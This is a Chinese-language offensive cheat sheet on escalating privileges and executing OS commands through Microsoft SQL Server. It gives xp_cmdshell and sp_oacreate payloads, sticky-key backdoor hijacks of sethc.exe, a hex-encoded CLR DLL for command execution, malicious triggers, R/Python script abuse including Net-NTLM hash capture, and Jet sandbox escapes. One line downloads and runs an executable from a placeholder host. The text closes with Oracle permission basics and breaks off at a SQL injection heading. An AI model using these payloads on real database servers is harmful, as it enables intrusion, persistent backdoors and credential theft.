EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
xp_regwrite
描述:
修改注册表
利用条件:
•xpstar.dll
修改注册表来劫持粘贴键(映像劫持)
(测试结果 Access is denied,没有权限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
sp_addextendedproc
可以用于恢复组件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
sp_dropextendedproc
用于删除扩展存储过程
exec sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell
描述:
xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。
利用条件:
•拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。
•依赖 xplog70.dll
-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 执行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'
-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
无回显,也无法进行dnslog怎么办:
通过临时表查看命令执行结果(在注入时,要能堆叠)
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable
如果 xp_cmdshell 被删除了:
如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复
以mssql2012为例,默认路径为:
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
sp_oacreate
描述:
使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。
利用条件:
•拥有DBA权限
•依赖odsole70.dll
-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
-- 判断SP_OACREATE状态,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
-- 启用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;
-- wscript.shell组件执行系统命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 输出执行结果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'
-- 利用com组件执行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 利用com组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
-- 利用filesystemobject写vb脚本 (目录必须存在,否则也会显示成功,但是没有文件写入)
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)'
-- 配合 wscript.shell 组件执行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]
-- 复制具有不同名称和位置的 calc.exe 可执行文件 (测试未成功)
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';
-- 移动文件 (测试好像只有 利用写入的VB脚本才能创建)
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'
-- 替换粘滞键
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
-- 使用JavaScript创建账户,更改其密码并将新账号添加到管理员组 (测试未成功)
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;';
SQL Server Agent Job 代理执行计划任务
描述:
SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。
利用条件:
•拥有 DBA 权限
•需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的
-- 开启 sqlagent 服务 (还是没有权限,很纳闷,sa账户登录 还没权限)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
-- 利用任务计划命令执行(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
CLR提权
描述:
从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
- MDUT 中的16进制的dll
dll的制作可以参考下面的文章
•<a href="https://xz.aliyun.com/t/10955#toc-12" h"="">https://xz.aliyun.com/t/10955#toc-12
利用条件:
拥有DBA权限
-- 启用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的
-- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash=
-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON
-- 导入CLR插件
CREATE ASSEMBLY [mssql_CLR]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
GO
-- 创建CLR函数
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go
-- 利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";
------------------------------------------------------------------------------------------------------------------------------
-- 格式简化
-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;
-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]
-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'
触发器提权
触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。
SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器
登录触发器:
登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。
-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在,且 容易 卡死 因为这个calc在运行 查询就不会停止)
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go
-- user 表 update 更新时,自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'
SQL Server R 和 Python 的利用
描述
在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本
利用条件:
•Machine Learning Services 必须要在 Python 安装过程中选择
必须启用外部脚本
•EXEC sp_configure 'external scripts enabled', 1
•RECONFIGURE WITH OVERRIDE
•重新启动数据库服务器
•用户拥有执行任何外部脚本权限
-- R脚本利用
-- 利用 R 执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Python脚本利用
-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
-- 利用 Python 执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
-- 利用 Python 读文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)
AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。
攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。
利用条件
•拥有 DBA 权限
•sqlserver 服务权限为 system
•服务器拥有 jet.oledb.4.0 驱动
-- 修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
-- 开启 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1
-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
-- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可.
-- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令.
-- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令.
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
Oracle
Oracle权限分类
权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。
系统权限管理
系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。
•DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构
•RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构
•CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
对于普通用户:授予connect,resource权限
对于DBA用户:授予connect,resource,dba权限
-- 系统权限授予命令:
系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户)
授权命令:grant connect, resource, dba to username1 , username2...;
普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收
回收授权命令:revoke connect, resource, dba from system;
-- 查询用户拥有那些权限:
select * from dba_role_privs;
select * from dba_sys_privs;
select * from role_sys_privs;
-- 查询自己拥有那些系统权限
select * from session_privs;
-- 删除用户
drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除
-- 系统权限传递
增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。
grant connect, resorce to user50 with admin option;
-- 系统权限回收,只能由DBA用户回收
revoke connect, resource, dba from system;
-- 说明
1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。
实体权限管理
实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。
•select, update, insert, alter, index, delete, all //all 包括所有权限
•execute // 执行存储过程权限
-- 授权用户表操作
grant select, update, insert on product to user02;
grant all on product to user02;
上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户
-- 授予全部用户表的操作权限
grant all on product to public; # all不包括 drop 权限
-- 实体权限传递
grant select, update on product to user02 with grant option;
user02得到权限,并可以传递。
-- 实体权限的回收
Revoke select, update on product from user02;
传递的权限将全部消失
-- 说明
1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。
角色管理
-- 建立一个角色
create role role1;
-- 为角色授权
grant create any table,create procedure to role1;
-- 授权角色给用户
grant role1 to user1;
-- 查看角色所包含的权限
select * from role_sys_privs;
-- 创建带有口令的角色(在生效带有口令的角色时必须提供口令)
create role role1 identified by password1;
-- 修改角色,设置是否需要口令
alter role role1 not identified;
alter role role1 identified by password1;
-- 设置当前用户要生效的角色
角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。
set role role1; # 使role1生效
set role role,role2; # 使role1,role2生效
set role role1 identified by password1; # 使用带有口令的role1生效
set role all; # 使用该用户的所有角色生效
set role none; # 设置所有角色失效
set role all except role1; # 除role1外的该用户的所有其它角色生效。
select * from SESSION_ROLES; # 查看当前用户的生效的角色。
-- 修改指定用户,设置其默认角色
alter user user1 default role role1;
alter user user1 default role all except role1;
-- 删除角色
drop role role1;
角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。
-- 说明
1. 无法使用WITH GRANT OPTION为角色授予对象权限
2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联
PL/SQL语言
PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。
PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。
基本结构如下:
DECLARE
BEGIN
EXCEPTION
END;
SQL 注入需注意的规则
